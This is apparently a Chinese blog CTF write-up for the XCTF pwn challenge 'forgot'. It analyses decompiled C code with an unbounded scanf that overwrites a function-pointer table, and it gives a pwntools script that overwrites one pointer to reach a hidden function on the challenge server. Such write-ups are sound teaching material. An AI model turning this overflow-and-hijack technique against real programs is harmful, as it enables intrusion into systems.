• xctf | pwn进阶


    forgot

    简化版代码如下

    int __cdecl main()
    {
      int  v0; // ebx
      char email_check[32]; // [esp+10h] [ebp-74h]
      int(*v3)(); // [esp+30h] [ebp-54h]
      int (*v4)(); // [esp+34h] [ebp-50h]
      int (*v5)(); // [esp+38h] [ebp-4Ch]
      int (*v6)(); // [esp+3Ch] [ebp-48h]
      int (*v7)(); // [esp+40h] [ebp-44h]
      int (*v8)(); // [esp+44h] [ebp-40h]
      int (*v9)(); // [esp+48h] [ebp-3Ch]
      int (*v10)(); // [esp+4Ch] [ebp-38h]
      int (*v11)(); // [esp+50h] [ebp-34h]
      int (*v12)(); // [esp+54h] [ebp-30h]
      char s; // [esp+58h] [ebp-2Ch]
      int Index; // [esp+78h] [ebp-Ch]
      int i; // [esp+7Ch] [ebp-8h]
    
      Index = 1;
      v3 = fun0;
      v4 = fun1;
      v5 = fun2;
      v6 = fun3;
      v7 = fun4;
      v8 = fun5;
      v9 = fun6;
      v10 = fun7;
      v11 = fun8;
      v12 = fun9;
      puts("What is your name?");
      printf("> ");
      fflush(stdout);
      fgets(&s, 32, stdin);
      sub_80485DD((int)&s);
      fflush(stdout);
      printf("I should give you a pointer perhaps. Here: %x
    
    ", fun4);
      fflush(stdout);
      puts("Enter the string to be validate");
      printf("> ");
      fflush(stdout);
      __isoc99_scanf("%s", email_check);
      for ( i = 0; ; ++i )
      {
        v0 = i;
        if ( v0 >= strlen(email_check) )
          break;
        switch ( Index )
        {
          case 1:
            if ( sub_8048702(email_check[i]) )      // a-z,0-9,+,-,.,/  =>first char
              Index = 2;
            break;
          case 2:
            if ( email_check[i] == '@' )
              Index = 3;
            break;
          case 3:
            if ( sub_804874C(email_check[i]) )      // a-z,0-9,_
              Index = 4;
            break;
          case 4:
            if ( email_check[i] == '.' )
              Index = 5;
            break;
          case 5:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 6;
            break;
          case 6:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 7;
            break;
          case 7:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 8;
            break;
          case 8:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 9;
            break;
          case 9:
            Index = 10;
            break;
          default:
            continue;
        }
      }
      ((void (*)(void))*(&v3 + --Index))();         // fun[Index--]
      return fflush(stdout);
    }
    

    分析源码:可以控制调用函数的下标,即从fun0-fun9中调用,而接下来的输入点可以覆盖掉fun函数列表,于是其中一种思路是:用字符过滤的原则只让Index一开始为2,之后调用fun1,而对应的将fun1的地址覆盖为可疑函数的地址。

    细节:&&和||,&&优先级高,实现字符过滤
    __isoc99_scanf("%s", email_check);
    不限长输入,在email_check下有函数的地址列表。

    可疑函数地址:0x080486CC。偏移量(OX74-0x54)此时为anonymous(fun0)以上的偏移,之后再加上fun0对应的4字节,即为0x24,在把fun1覆盖,这里选择覆盖fun1的原因是与输入的'a'有关,符合输入字符,最会把Index变为2,之后再--Index.

    payload

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote("220.249.52.133",48040)
    #p = process('./forgot')
    
    payload = 'a'*0x24+p32(0x080486CC) 
    
    p.recvuntil("> ")
    p.sendline('a')
    p.recvuntil("> ")
    p.sendline(payload)
    
    p.interactive()
    

    效果:

  • 相关阅读:
    linux 分区格式查看
    MDL原理理解
    linux oracle配置开机启动
    oracle em手动配置
    java字符编码详解
    linux oracle 配置监听器
    mysql 生成时间序列数据
    R实用小技巧
    python将文件夹下的所有csv文件存入mysql和oracle数据库
    遗传算法求解最优化问题
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/13300292.html
Copyright © 2020-2023  润新知